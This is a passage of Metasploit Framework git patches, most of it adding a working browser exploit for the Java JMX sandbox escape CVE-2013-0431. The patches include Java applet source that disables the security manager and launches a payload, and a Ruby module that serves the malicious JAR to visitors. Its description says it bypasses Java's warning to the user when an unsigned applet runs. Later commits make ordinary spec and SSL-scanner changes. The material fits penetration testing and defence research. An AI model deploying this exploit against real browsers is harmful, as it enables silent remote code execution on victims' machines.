zl6Xnt@MDxcMv&i0NBAbV&pk&M)GSGsoX?8>XuS}D2YBugb`G!*o=*m%yB=V7GRTDQ zVH#^j%WKfUMAl$0Q`zX2g&HX2x5by=dvsT*%pG(N4D+ZFA~;XFFQN{Y$muAKawo){ OV>nLjm$@p#iGKl|D8%ys literal 0 HcmV?d00001 diff --git a/external/source/exploits/cve-2013-0431/B.java b/external/source/exploits/cve-2013-0431/B.java new file mode 100755 index 0000000000..fec2767060 --- /dev/null +++ b/external/source/exploits/cve-2013-0431/B.java @@ -0,0 +1,19 @@ +import java.security.AccessController; +import java.security.PrivilegedExceptionAction; + +public class B + implements PrivilegedExceptionAction +{ + public B() + { + try + { + AccessController.doPrivileged(this); } catch (Exception e) { + } + } + + public Object run() { + System.setSecurityManager(null); + return new Object(); + } +} diff --git a/external/source/exploits/cve-2013-0431/Exploit.java b/external/source/exploits/cve-2013-0431/Exploit.java new file mode 100755 index 0000000000..2a399019f3 --- /dev/null +++ b/external/source/exploits/cve-2013-0431/Exploit.java @@ -0,0 +1,93 @@ +/* +* From Paunch with love (Java 1.7.0_11 Exploit) +* +* Deobfuscated from Cool EK by SecurityObscurity +* +* https://twitter.com/SecObscurity +*/ +import java.applet.Applet; +import com.sun.jmx.mbeanserver.Introspector; +import com.sun.jmx.mbeanserver.JmxMBeanServer; +import com.sun.jmx.mbeanserver.MBeanInstantiator; +import java.lang.invoke.MethodHandle; +import java.lang.invoke.MethodHandles.Lookup; +import java.lang.invoke.MethodType; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import javax.management.ReflectionException; +import java.io.*; +import metasploit.Payload; + +public class Exploit extends Applet +{ + + public void init() + { + + try + { + int length; + byte[] buffer = new byte[5000]; + ByteArrayOutputStream os = new ByteArrayOutputStream(); + + // read in the class file from the jar + InputStream is = getClass().getResourceAsStream("B.class"); + + // and write it out to the byte array stream + while( ( length = is.read( buffer ) ) > 0 ) + os.write( buffer, 0, length ); + + // convert it to a simple byte array + buffer = os.toByteArray(); + + Class class1 = gimmeClass("sun.org.mozilla.javascript.internal.Context"); + + Method method = getMethod(class1, "enter", true); + Object obj = method.invoke(null, new Object[0]); + Method method1 = getMethod(class1, "createClassLoader", false); + Object obj1 = method1.invoke(obj, new Object[1]); + + Class class2 = gimmeClass("sun.org.mozilla.javascript.internal.GeneratedClassLoader"); + Method method2 = getMethod(class2, "defineClass", false); + + Class my_class = (Class)method2.invoke(obj1, new Object[] { null, buffer }); + my_class.newInstance(); + + Payload.main(null); + + } + catch (Throwable localThrowable){} + + } + + + private Method getMethod(Class class1, String s, boolean flag) + { + try { + Method[] amethod = (Method[])Introspector.elementFromComplex(class1, "declaredMethods"); + Method[] amethod1 = amethod; + + for (int i = 0; i < amethod1.length; i++) { + Method method = amethod1[i]; + String s1 = method.getName(); + Class[] aclass = method.getParameterTypes(); + if ((s1 == s) && ((!flag) || (aclass.length == 0))) return method; + } + } catch (Exception localException) { } + + return null; + } + + private Class gimmeClass(String s) throws ReflectionException, ReflectiveOperationException + { + Object obj = null; + JmxMBeanServer jmxmbeanserver = (JmxMBeanServer)JmxMBeanServer.newMBeanServer("", null, null, true); + MBeanInstantiator mbeaninstantiator = jmxmbeanserver.getMBeanInstantiator(); + + Class class1 = Class.forName("com.sun.jmx.mbeanserver.MBeanInstantiator"); + Method method = class1.getMethod("findClass", new Class[] { String.class, ClassLoader.class }); + return (Class)method.invoke(mbeaninstantiator, new Object[] { s, obj }); + } + +} + diff --git a/external/source/exploits/cve-2013-0431/Makefile b/external/source/exploits/cve-2013-0431/Makefile new file mode 100644 index 0000000000..7c77a9c3b4 --- /dev/null +++ b/external/source/exploits/cve-2013-0431/Makefile @@ -0,0 +1,18 @@ +# rt.jar must be in the classpath! + +CLASSES = \ + Exploit.java \ + B.java + +.SUFFIXES: .java .class +.java.class: + javac -source 1.2 -target 1.2 -cp "../../../../data/java" $*.java + +all: $(CLASSES:.java=.class) + +install: + mv Exploit.class ../../../../data/exploits/cve-2013-0431/ + mv B.class ../../../../data/exploits/cve-2013-0431/ + +clean: + rm -rf *.class diff --git a/modules/exploits/multi/browser/java_jre17_jmxbean_2.rb b/modules/exploits/multi/browser/java_jre17_jmxbean_2.rb new file mode 100644 index 0000000000..32301affd6 --- /dev/null +++ b/modules/exploits/multi/browser/java_jre17_jmxbean_2.rb @@ -0,0 +1,134 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'rex' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::EXE + + include Msf::Exploit::Remote::BrowserAutopwn + autopwn_info({ :javascript => false }) + + def initialize( info = {} ) + + super( update_info( info, + 'Name' => 'Java Applet JMX Remote Code Execution', + 'Description' => %q{ + This module abuses the JMX classes from a Java Applet to run arbitrary Java + code outside of the sandbox as exploited in the wild in February of 2013. The + vulnerability affects Java version 7u11 and earlier. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Unknown', # Vulnerability discovery and exploit in the wild + 'Adam Gowdiak', # Vulnerability discovery + 'SecurityObscurity', # Exploit analysis and deobfuscation + 'juan vazquez' # Metasploit module + ], + 'References' => + [ + [ 'CVE', '2013-0431' ], + [ 'OSVDB', '89613' ], + [ 'BID', '57726' ], + [ 'URL', 'http://www.security-explorations.com/materials/SE-2012-01-ORACLE-8.pdf' ], + [ 'URL', 'http://www.security-explorations.com/materials/SE-2012-01-ORACLE-9.pdf' ], + [ 'URL', 'http://security-obscurity.blogspot.com.es/2013/01/about-new-java-0-day-vulnerability.html' ], + [ 'URL', 'http://pastebin.com/QWU1rqjf' ] + ], + 'Platform' => [ 'java', 'win', 'osx', 'linux' ], + 'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true }, + 'Targets' => + [ + [ 'Generic (Java Payload)', + { + 'Platform' => ['java'], + 'Arch' => ARCH_JAVA, + } + ], + [ 'Windows x86 (Native Payload)', + { + 'Platform' => 'win', + 'Arch' => ARCH_X86, + } + ], + [ 'Mac OS X x86 (Native Payload)', + { + 'Platform' => 'osx', + 'Arch' => ARCH_X86, + } + ], + [ 'Linux x86 (Native Payload)', + { + 'Platform' => 'linux', + 'Arch' => ARCH_X86, + } + ], + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jan 19 2013' + )) + end + + + def setup + path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-0431", "Exploit.class") + @exploit_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) } + path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-0431", "B.class") + @loader_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) } + + @exploit_class_name = rand_text_alpha("Exploit".length) + @exploit_class.gsub!("Exploit", @exploit_class_name) + super + end + + def on_request_uri(cli, request) + print_status("handling request for #{request.uri}") + + case request.uri + when /\.jar$/i + jar = payload.encoded_jar + jar.add_file("#{@exploit_class_name}.class", @exploit_class) + jar.add_file("B.class", @loader_class) + metasploit_str = rand_text_alpha("metasploit".length) + payload_str = rand_text_alpha("payload".length) + jar.entries.each { |entry| + entry.name.gsub!("metasploit", metasploit_str) + entry.name.gsub!("Payload", payload_str) + entry.data = entry.data.gsub("metasploit", metasploit_str) + entry.data = entry.data.gsub("Payload", payload_str) + } + jar.build_manifest + + send_response(cli, jar, { 'Content-Type' => "application/octet-stream" }) + when /\/$/ + payload = regenerate_payload(cli) + if not payload + print_error("Failed to generate the payload.") + send_not_found(cli) + return + end + send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' }) + else + send_redirect(cli, get_resource() + '/', '') + end + + end + + def generate_html + html = %Q|Loading, Please Wait...| + html += %Q|

Loading, Please Wait...

| + html += %Q|| + html += %Q|| + return html + end + +end From ac50c32d513f10cc71a2960c843c1574384c4810 Mon Sep 17 00:00:00 2001 From: Royce Davis Date: Wed, 20 Feb 2013 10:02:50 -0600 Subject: [PATCH 154/341] Tested, works on server 2k8 --- modules/auxiliary/admin/smb/psexec_command.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/admin/smb/psexec_command.rb b/modules/auxiliary/admin/smb/psexec_command.rb index 54be82308f..7be526fab2 100644 --- a/modules/auxiliary/admin/smb/psexec_command.rb +++ b/modules/auxiliary/admin/smb/psexec_command.rb @@ -26,7 +26,7 @@ class Metasploit3 < Msf::Auxiliary }, 'Author' => [ - 'Royce @R3dy__ Davis ', + 'Royce Davis @R3dy__ ', ], 'License' => MSF_LICENSE, From d7b89a22281d72089b0357dbe3904fdc8804601c Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 20 Feb 2013 17:50:47 +0100 Subject: [PATCH 155/341] added security level bypass --- data/exploits/cve-2013-0431/Exploit.class | Bin 2743 -> 2744 bytes data/exploits/cve-2013-0431/Exploit.ser | Bin 0 -> 1517 bytes .../multi/browser/java_jre17_jmxbean_2.rb | 57 ++++++++---------- 3 files changed, 25 insertions(+), 32 deletions(-) create mode 100755 data/exploits/cve-2013-0431/Exploit.ser diff --git a/data/exploits/cve-2013-0431/Exploit.class b/data/exploits/cve-2013-0431/Exploit.class index 526a59dbaf3d13c6c037fb0b22cd78fd6a6ae2e5..f76c43d3e17695bf6e445aec23cff58a1de7daef 100755 GIT binary patch delta 16 Ycmdlkx_jqk<*2SIVV@?u&+BQ&GsDcR zz1u^@l>&vg6dYuAVM3P5IH_dc7leWtZQw|^M^e)@O#-k;aM{kZ}wUD#n!gx2y?fh{E+ zX3oKlu2;&Miz_a;%bSN!0}sgj#ku*J+dp9v#qZbNd~5shr9aO3rb};{af#;r+9&p( z%P-tmg?a~GjTYiQ8qNfNh;f@ab`Oo^N)F)SNJXh_<&nTUO1S}C4T8IdO$oxpi4r`@ zPmG%K7)=K*$Vg4Jk|>=W!bW*;ur~}jHQCHHTMNuV7aB3Qnz?9<#=+}LOqVBPH$(q! zmk7dd2$rkV-A)Mp(i!+%$|OtB5Ue&~S)bBzaCr%8^9f3ym?y5NOW>vm`ST~=ee~PA z-+ZwO*9P!1OPxCQ=~K4Sj?na^k3>=09jKqGRK~Wa1Br$H|BzTi$*8*Vhp>TDV&*op z4+e1MJd?LDw?}i_05-y%SL(p}IFK-aO`b?)@D6G!r0c*{ZWrN&Vi3AVABM*+Wb~0L*qCtXnF)s-$tLLAmPg!)JjgaB&W?PXwkJhCfD78-sMM%VsZGdc zZOTK>cAz@ru^V?_C8J;dyoUZ59zlgleM<2p#uMjYds&v263W+XGa56QU_aGb8JdDO z=8#h)`kT~anpz}poyCySdXySVaM(FxFo@`~5tG(kW)dWGSC)WS#?5wlbufh8XNy50 z7A>1PE}BFQ8C)CDz&O}inmQ(d_cWr?%yaYEHYhNmB1SV0yK```(hV}gFZ$Di>;5<| zN^xBCWhpfUvC`~2!(~F6b&Y7eSC8EyKU(Qj+Y%l8+{4HPPV0-}1-qxp^FFyVu^=r(lfhNC~O25ZK&AMUYzkK^vW%zgHoeHc|CsJ!B z)cRZDzb8Ln76mQ64y=t6Mx$D%);{!@4(!>m@rq5?lf*Bw2_dJ13_b%5)goAbs1g;K F{tskD^4tIb literal 0 HcmV?d00001 diff --git a/modules/exploits/multi/browser/java_jre17_jmxbean_2.rb b/modules/exploits/multi/browser/java_jre17_jmxbean_2.rb index 32301affd6..43c42c764d 100644 --- a/modules/exploits/multi/browser/java_jre17_jmxbean_2.rb +++ b/modules/exploits/multi/browser/java_jre17_jmxbean_2.rb @@ -78,44 +78,37 @@ class Metasploit3 < Msf::Exploit::Remote )) end - - def setup - path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-0431", "Exploit.class") - @exploit_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) } - path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-0431", "B.class") - @loader_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) } - - @exploit_class_name = rand_text_alpha("Exploit".length) - @exploit_class.gsub!("Exploit", @exploit_class_name) - super - end - def on_request_uri(cli, request) print_status("handling request for #{request.uri}") case request.uri when /\.jar$/i - jar = payload.encoded_jar - jar.add_file("#{@exploit_class_name}.class", @exploit_class) - jar.add_file("B.class", @loader_class) - metasploit_str = rand_text_alpha("metasploit".length) - payload_str = rand_text_alpha("payload".length) - jar.entries.each { |entry| - entry.name.gsub!("metasploit", metasploit_str) - entry.name.gsub!("Payload", payload_str) - entry.data = entry.data.gsub("metasploit", metasploit_str) - entry.data = entry.data.gsub("Payload", payload_str) - } - jar.build_manifest + paths = [ + [ "Exploit.ser" ], + [ "Exploit.class" ], + [ "B.class" ] + ] - send_response(cli, jar, { 'Content-Type' => "application/octet-stream" }) - when /\/$/ - payload = regenerate_payload(cli) - if not payload - print_error("Failed to generate the payload.") - send_not_found(cli) - return + p = regenerate_payload(cli) + + jar = p.encoded_jar + + paths.each do |path| + 1.upto(path.length - 1) do |idx| + full = path[0,idx].join("/") + "/" + if !(jar.entries.map{|e|e.name}.include?(full)) + jar.add_file(full, '') + end + end + fd = File.open(File.join( Msf::Config.install_root, "data", "exploits", "cve-2013-0431", path ), "rb") + data = fd.read(fd.stat.size) + jar.add_file(path.join("/"), data) + fd.close end + + print_status("Sending Applet.jar") + send_response( cli, jar.pack, { 'Content-Type' => "application/octet-stream" } ) + when /\/$/ send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' }) else send_redirect(cli, get_resource() + '/', '') @@ -126,7 +119,7 @@ class Metasploit3 < Msf::Exploit::Remote def generate_html html = %Q|Loading, Please Wait...| html += %Q|

Loading, Please Wait...

| - html += %Q|| + html += %Q|| html += %Q|| return html end From da9e58ef79440d86f77ee51e2d9549511676411c Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 20 Feb 2013 18:14:24 +0100 Subject: [PATCH 156/341] Added the java code to get the ser file --- .../exploits/cve-2013-0431/Serializer.java | 20 +++++++++++++++++++ 1 file changed, 20 insertions(+) create mode 100644 external/source/exploits/cve-2013-0431/Serializer.java diff --git a/external/source/exploits/cve-2013-0431/Serializer.java b/external/source/exploits/cve-2013-0431/Serializer.java new file mode 100644 index 0000000000..2dc2517937 --- /dev/null +++ b/external/source/exploits/cve-2013-0431/Serializer.java @@ -0,0 +1,20 @@ +import java.io.*; + +public class Serializer { + + public static void main(String [ ] args) + { + try { + Exploit b=new Exploit(); // target Applet instance + ByteArrayOutputStream baos=new ByteArrayOutputStream(); + ObjectOutputStream oos=new ObjectOutputStream(baos); + oos.writeObject(b); + FileOutputStream fos=new FileOutputStream("Exploit.ser"); + fos.write(baos.toByteArray()); + fos.close(); + } catch (Exception ex) { + ex.printStackTrace(); + } + } + +} From bf216cca5cd41350d172280d9ac30684c5087eb7 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 20 Feb 2013 18:14:53 +0100 Subject: [PATCH 157/341] description and references updated --- .../multi/browser/java_jre17_jmxbean_2.rb | 65 ++++++++++--------- 1 file changed, 35 insertions(+), 30 deletions(-) diff --git a/modules/exploits/multi/browser/java_jre17_jmxbean_2.rb b/modules/exploits/multi/browser/java_jre17_jmxbean_2.rb index 43c42c764d..c448bf968a 100644 --- a/modules/exploits/multi/browser/java_jre17_jmxbean_2.rb +++ b/modules/exploits/multi/browser/java_jre17_jmxbean_2.rb @@ -22,9 +22,10 @@ class Metasploit3 < Msf::Exploit::Remote super( update_info( info, 'Name' => 'Java Applet JMX Remote Code Execution', 'Description' => %q{ - This module abuses the JMX classes from a Java Applet to run arbitrary Java - code outside of the sandbox as exploited in the wild in February of 2013. The - vulnerability affects Java version 7u11 and earlier. + This module abuses the JMX classes from a Java Applet to run arbitrary Java code + outside of the sandbox as exploited in the wild in February of 2013. Additionally, + this module bypasses default security settings introduced in Java 7 Update 10 to run + unsigned applet without displaying any warning to the user. }, 'License' => MSF_LICENSE, 'Author' => @@ -42,7 +43,8 @@ class Metasploit3 < Msf::Exploit::Remote [ 'URL', 'http://www.security-explorations.com/materials/SE-2012-01-ORACLE-8.pdf' ], [ 'URL', 'http://www.security-explorations.com/materials/SE-2012-01-ORACLE-9.pdf' ], [ 'URL', 'http://security-obscurity.blogspot.com.es/2013/01/about-new-java-0-day-vulnerability.html' ], - [ 'URL', 'http://pastebin.com/QWU1rqjf' ] + [ 'URL', 'http://pastebin.com/QWU1rqjf' ], + [ 'URL', 'http://malware.dontneedcoffee.com/2013/02/cve-2013-0431-java-17-update-11.html' ] ], 'Platform' => [ 'java', 'win', 'osx', 'linux' ], 'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true }, @@ -83,43 +85,46 @@ class Metasploit3 < Msf::Exploit::Remote case request.uri when /\.jar$/i - paths = [ - [ "Exploit.ser" ], - [ "Exploit.class" ], - [ "B.class" ] - ] - - p = regenerate_payload(cli) - - jar = p.encoded_jar - - paths.each do |path| - 1.upto(path.length - 1) do |idx| - full = path[0,idx].join("/") + "/" - if !(jar.entries.map{|e|e.name}.include?(full)) - jar.add_file(full, '') - end - end - fd = File.open(File.join( Msf::Config.install_root, "data", "exploits", "cve-2013-0431", path ), "rb") - data = fd.read(fd.stat.size) - jar.add_file(path.join("/"), data) - fd.close - end - - print_status("Sending Applet.jar") - send_response( cli, jar.pack, { 'Content-Type' => "application/octet-stream" } ) + print_status("Sending JAR") + send_response( cli, generate_jar, { 'Content-Type' => "application/octet-stream" } ) when /\/$/ + print_status("Sending HTML") send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' }) else send_redirect(cli, get_resource() + '/', '') end + end + def generate_jar + paths = [ + [ "Exploit.ser" ], + [ "Exploit.class" ], + [ "B.class" ] + ] + + p = regenerate_payload(cli) + + jar = p.encoded_jar + + paths.each do |path| + 1.upto(path.length - 1) do |idx| + full = path[0,idx].join("/") + "/" + if !(jar.entries.map{|e|e.name}.include?(full)) + jar.add_file(full, '') + end + end + fd = File.open(File.join( Msf::Config.install_root, "data", "exploits", "cve-2013-0431", path ), "rb") + data = fd.read(fd.stat.size) + jar.add_file(path.join("/"), data) + fd.close + end + return jar.pack end def generate_html html = %Q|Loading, Please Wait...| html += %Q|

Loading, Please Wait...

| - html += %Q|| + html += %Q|| html += %Q|| return html end From 4a84528ecfaff4bc780be129e47ef6cd54666bd4 Mon Sep 17 00:00:00 2001 From: James Lee Date: Wed, 20 Feb 2013 15:02:12 -0600 Subject: [PATCH 158/341] Move pending messages to it()'s args --- spec/lib/rex/proto/http/client_spec.rb | 119 ++++++------------------- 1 file changed, 28 insertions(+), 91 deletions(-) diff --git a/spec/lib/rex/proto/http/client_spec.rb b/spec/lib/rex/proto/http/client_spec.rb index de8c68f186..6505655267 100644 --- a/spec/lib/rex/proto/http/client_spec.rb +++ b/spec/lib/rex/proto/http/client_spec.rb @@ -61,20 +61,11 @@ describe Rex::Proto::Http::Client do cli.close.should be_nil end - it "should send a request and receive a response" do - # cli.send_recv - pending excuse_needs_connection - end + it "should send a request and receive a response", :pending => excuse_needs_connection - it "should send a request and receive a response without auth handling" do - # cli._send_recv - pending excuse_needs_connection - end + it "should send a request and receive a response without auth handling", :pending => excuse_needs_connection - it "should send a request" do - # cli.send_request - pending excuse_needs_connection - end + it "should send a request", :pending => excuse_needs_connection it "should test for credentials" do # cli.should_not have_creds @@ -83,9 +74,7 @@ describe Rex::Proto::Http::Client do pending "Should actually respond to :has_creds" end - it "should send authentication" do - pending excuse_needs_connection - end + it "should send authentication", :pending => excuse_needs_connection it "should produce a basic authentication header" do u = "user1" @@ -94,20 +83,11 @@ describe Rex::Proto::Http::Client do cli.basic_auth_header("user1","pass1").should == "Basic #{b64}" end - it "should perform digest authentication" do - # cli.digest_auth - pending excuse_needs_auth - end + it "should perform digest authentication", :pending => excuse_needs_auth - it "should perform negotiate authentication" do - # cli.negotiate_auth - pending excuse_needs_auth - end + it "should perform negotiate authentication", :pending => excuse_needs_auth - it "should get a response" do - # cli.read_response - pending excuse_needs_connection - end + it "should get a response", :pending => excuse_needs_connection it "should end a connection with a stop" do cli.stop.should be_nil @@ -124,96 +104,53 @@ describe Rex::Proto::Http::Client do this_cli.pipelining?.should be_true end - it "should return an encoded URI" do - pending excuse_lazy :set_encode_uri - end + it "should return an encoded URI", :pending => excuse_lazy(:set_encode_uri) - it "should return an encoded query string" do - pending excuse_lazy :set_encode_qa - end + it "should return an encoded query string", :pending => excuse_lazy(:set_encode_qa) # These set_ methods all exercise the evasion opts, looks like - it "should set and return the URI" do - pending excuse_lazy :set_uri - end + it "should set and return the URI", :pending => excuse_lazy(:set_uri) - it "should set and return the CGI" do - pending excuse_lazy :set_cgi - end + it "should set and return the CGI", :pending => excuse_lazy(:set_cgi) - it "should set and return the HTTP verb" do - pending excuse_lazy :set_method - end + it "should set and return the HTTP verb", :pending => excuse_lazy(:set_method) - it "should set and return the version string" do - pending excuse_lazy :set_version - end + it "should set and return the version string", :pending => excuse_lazy(:set_version) - it "should set and return the HTTP seperator and body string" do - pending excuse_lazy :set_body - end + it "should set and return the HTTP seperator and body string", :pending => excuse_lazy(:set_body) - it "should set and return the path" do - pending excuse_lazy :set_path_info - end + it "should set and return the path", :pending => excuse_lazy(:set_path_info) - it "should set and return the whitespace between method and URI" do - pending excuse_lazy :set_method_uri_spacer - end + it "should set and return the whitespace between method and URI", :pending => excuse_lazy(:set_method_uri_spacer) - it "should set and return the whitespace between the version and URI" do - pending excuse_lazy :set_uri_version_spacer - end + it "should set and return the whitespace between the version and URI", :pending => excuse_lazy(:set_uri_version_spacer) - it "should set and return padding before the URI" do - pending excuse_lazy :set_uri_prepend - end + it "should set and return padding before the URI", :pending => excuse_lazy(:set_uri_prepend) it "should set and return padding after the URI" do cli.set_uri_append.should be_empty end - it "should set and return the host header" do - pending excuse_lazy :set_host_header - end + it "should set and return the host header", :pending => excuse_lazy(:set_host_header) - it "should set and return the agent header" do - pending excuse_lazy :set_agent_header - end + it "should set and return the agent header", :pending => excuse_lazy(:set_agent_header) - it "should set and return the cookie header" do - pending excuse_lazy :set_cookie_header - end + it "should set and return the cookie header", :pending => excuse_lazy(:set_cookie_header) + it "should set and return the content-type header", :pending => excuse_lazy(:set_cookie_header) - it "should set and return the content-type header" do - pending excuse_lazy :set_cookie_header - end + it "should set and return the content-length header", :pending => excuse_lazy(:set_content_len_header) - it "should set and return the content-length header" do - pending excuse_lazy :set_content_len_header - end + it "should set and return the basic authentication header", :pending => excuse_lazy(:set_basic_auth_header) - it "should set and return the basic authentication header" do - pending excuse_lazy :set_basic_auth_header - end + it "should set and return any extra headers", :pending => excuse_lazy(:set_extra_headers) - it "should set and return any extra headers" do - pending excuse_lazy :set_extra_headers - end + it "should set the chunked encoding header", :pending => excuse_lazy(:set_chunked_header) - it "should set the chunked encoding header" do - pending excuse_lazy :set_chunked_header - end + it "should set and return raw_headers", :pending => "#set_raw_headers() doesn't seem to actually do anything" - it "should set and return raw_headers" do - pending "#set_raw_headers() doesn't seem to actually do anything" - end - - it "should set and return a formatted header" do - pending :set_formatted_header - end + it "should set and return a formatted header", :pending => excuse_lazy(:set_formatted_header) it "should respond to its various accessors" do cli.should respond_to :config From 8d2233bbdd1839f1f7b56570200e257a3aea8600 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Wed, 20 Feb 2013 15:33:24 -0600 Subject: [PATCH 159/341] first minor cleanup --- lib/rex.rb | 2 +- lib/rex/socket/ssl_tcp.rb | 13 +++---------- lib/rex/sslscan/scanner.rb | 24 ++++++++++++------------ 3 files changed, 16 insertions(+), 23 deletions(-) diff --git a/lib/rex.rb b/lib/rex.rb index 7a08e4ea8f..93efde9c73 100644 --- a/lib/rex.rb +++ b/lib/rex.rb @@ -88,7 +88,7 @@ require 'rex/compat' # Platforms require 'rex/platforms' -#SSLScan +# SSLScan require 'rex/sslscan/scanner' require 'rex/sslscan/result' diff --git a/lib/rex/socket/ssl_tcp.rb b/lib/rex/socket/ssl_tcp.rb index fa18779e36..0e9d662ea3 100644 --- a/lib/rex/socket/ssl_tcp.rb +++ b/lib/rex/socket/ssl_tcp.rb @@ -59,18 +59,11 @@ begin version = :SSLv3 if(params) case params.ssl_version - when 'SSL2' + when 'SSL2', :SSLv2 version = :SSLv2 - when 'SSL23' + when 'SSL23', :SSLv23 version = :SSLv23 - when 'TLS1' - version = :TLSv1 - # Handle the user supplying the correct syntax themselves - when :SSLv2 - version = :SSLv2 - when :SSLv23 - version = :SSLv23 - when :TLSv1 + when 'TLS1', :TLSv1 version = :TLSv1 end end diff --git a/lib/rex/sslscan/scanner.rb b/lib/rex/sslscan/scanner.rb index 49110e982d..bb2925b053 100644 --- a/lib/rex/sslscan/scanner.rb +++ b/lib/rex/sslscan/scanner.rb @@ -50,12 +50,12 @@ class Scanner validate_params(ssl_version,cipher) begin scan_client = Rex::Socket::Tcp.create( - 'PeerHost' => @host, - 'PeerPort' => @port, - 'SSL' => true, - 'SSLVersion' => ssl_version, - 'SSLCipher' => cipher, - 'Timeout' => @timeout + 'PeerHost' => @host, + 'PeerPort' => @port, + 'SSL' => true, + 'SSLVersion' => ssl_version, + 'SSLCipher' => cipher, + 'Timeout' => @timeout ) rescue ::Exception => e return :rejected @@ -67,12 +67,12 @@ class Scanner validate_params(ssl_version,cipher) begin scan_client = Rex::Socket::Tcp.create( - 'PeerHost' => @host, - 'PeerPort' => @port, - 'SSL' => true, - 'SSLVersion' => ssl_version, - 'SSLCipher' => cipher, - 'Timeout' => @timeout + 'PeerHost' => @host, + 'PeerPort' => @port, + 'SSL' => true, + 'SSLVersion' => ssl_version, + 'SSLCipher' => cipher, + 'Timeout' => @timeout ) cert = scan_client.peer_cert if cert.kind_of? OpenSSL::X509::Certificate From 1913d60d650a7b6d39c3ee0131be22d04a76aae5 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 21 Feb 2013 01:13:25 +0100 Subject: [PATCH 160/341] multibrowser support --- .../multi/browser/java_jre17_jmxbean_2.rb | 19 +++++++++++++++---- 1 file changed, 15 insertions(+), 4 deletions(-) diff --git a/modules/exploits/multi/browser/java_jre17_jmxbean_2.rb b/modules/exploits/multi/browser/java_jre17_jmxbean_2.rb index c448bf968a..e8534ede40 100644 --- a/modules/exploits/multi/browser/java_jre17_jmxbean_2.rb +++ b/modules/exploits/multi/browser/java_jre17_jmxbean_2.rb @@ -122,10 +122,21 @@ class Metasploit3 < Msf::Exploit::Remote end def generate_html - html = %Q|Loading, Please Wait...| - html += %Q|

Loading, Please Wait...

| - html += %Q|| - html += %Q|| + html = <<-EOF + + + + EOF return html end From d15e202f19a0af0e4617cddc95013e1b0d2abc78 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Wed, 20 Feb 2013 18:47:20 -0600 Subject: [PATCH 161/341] Add some YARD docs --- lib/rex/sslscan/result.rb | 15 +++++++++++++++ lib/rex/sslscan/scanner.rb | 26 +++++++++++++++++++++++++- 2 files changed, 40 insertions(+), 1 deletion(-) diff --git a/lib/rex/sslscan/result.rb b/lib/rex/sslscan/result.rb index 9dee8c0048..d9150f7a43 100644 --- a/lib/rex/sslscan/result.rb +++ b/lib/rex/sslscan/result.rb @@ -45,6 +45,11 @@ class Result @ciphers.reject{|cipher| cipher[:weak] } end + # Returns all accepted ciphers matching the supplied version + # @param version [Symbol] The SSL Version to filter on + # @param version [Array] An array of SSL Versions to filter on + # @raise [ArgumentError] if the version supplied is invalid + # @return [Array] An array of accepted cipher details matching the supplied versions def accepted(version = :all) if version.kind_of? Symbol case version @@ -67,6 +72,11 @@ class Result end end + # Returns all rejected ciphers matching the supplied version + # @param version [Symbol] The SSL Version to filter on + # @param version [Array] An array of SSL Versions to filter on + # @raise [ArgumentError] if the version supplied is invalid + # @return [Array] An array of rejected cipher details matching the supplied versions def rejected(version = :all) if version.kind_of? Symbol case version @@ -129,6 +139,11 @@ class Result true end + # Adds the details of a cipher test to the Result object. + # @param version [Symbol] the SSL Version + # @param cipher [String] the SSL cipher + # @param key_length [Fixnum] the length of encryption key + # @param status [Symbol] :accepted or :rejected def add_cipher(version, cipher, key_length, status) unless @supported_versions.include? version raise ArgumentError, "Must be a supported SSL Version" diff --git a/lib/rex/sslscan/scanner.rb b/lib/rex/sslscan/scanner.rb index bb2925b053..ac46a3352b 100644 --- a/lib/rex/sslscan/scanner.rb +++ b/lib/rex/sslscan/scanner.rb @@ -11,6 +11,11 @@ class Scanner attr_reader :supported_versions + # Initializes the scanner object + # @param host [String] IP address or hostname to scan + # @param port [Fixnum] Port number to scan, default: 443 + # @param timeout [Fixnum] Timeout for connections, in seconds. default: 20 + # @raise [StandardError] Raised when the configuration is invalid def initialize(host,port = 443,timeout=20) @host = host @port = port @@ -19,6 +24,8 @@ class Scanner raise StandardError, "The scanner configuration is invalid" unless valid? end + # Checks whether the scanner option has a valid configuration + # @return [Boolean] True or False, the configuration is valid. def valid? begin @host = Rex::Socket.getaddress(@host, true) @@ -31,6 +38,8 @@ class Scanner return true end + # Initiate the Scan against the target. Will test each cipher one at a time. + # @return [Result] object containing the details of the scan def scan scan_result = Rex::SSLScan::Result.new @supported_versions.each do |ssl_version| @@ -46,6 +55,10 @@ class Scanner scan_result end + # Tests the specified SSL Version and Cipher against the configured target + # @param ssl_version [Symbol] The SSL version to use (:SSLv2, :SSLv3, :TLSv1) + # @param cipher [String] The SSL Cipher to use + # @return [Symbol] Either :accepted or :rejected def test_cipher(ssl_version, cipher) validate_params(ssl_version,cipher) begin @@ -63,6 +76,11 @@ class Scanner return :accepted end + # Retrieve the X509 Cert from the target service, + # @param ssl_version [Symbol] The SSL version to use (:SSLv2, :SSLv3, :TLSv1) + # @param cipher [String] The SSL Cipher to use + # 